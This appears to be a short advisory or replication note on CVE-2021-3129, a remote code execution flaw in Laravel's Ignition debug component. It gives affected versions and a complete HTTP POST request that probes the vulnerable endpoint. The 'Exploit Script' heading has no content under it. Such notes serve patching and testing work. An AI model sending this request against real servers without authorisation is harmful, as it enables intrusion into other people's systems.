CVE-2021-3129

Laravel RCE CVE-2021-3129

Vulnerability Overview

When Laravel's debug mode is enabled, due to the unsafe use of the file_get_contents() and file_put_contents() functions by Laravel's built-in Ignition component, an attacker can trigger Phar deserialization by sending malicious requests, constructing malicious log files, etc., ultimately leading to remote code execution.

Affected Versions

Laravel <= 8.4.2

Vulnerability Verification

• A 500 response indicates the vulnerability exists

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=null

Exploit Script

References

[CVE-2021-3129]Laravel Debug mode RCE Replication | tyskill's Blog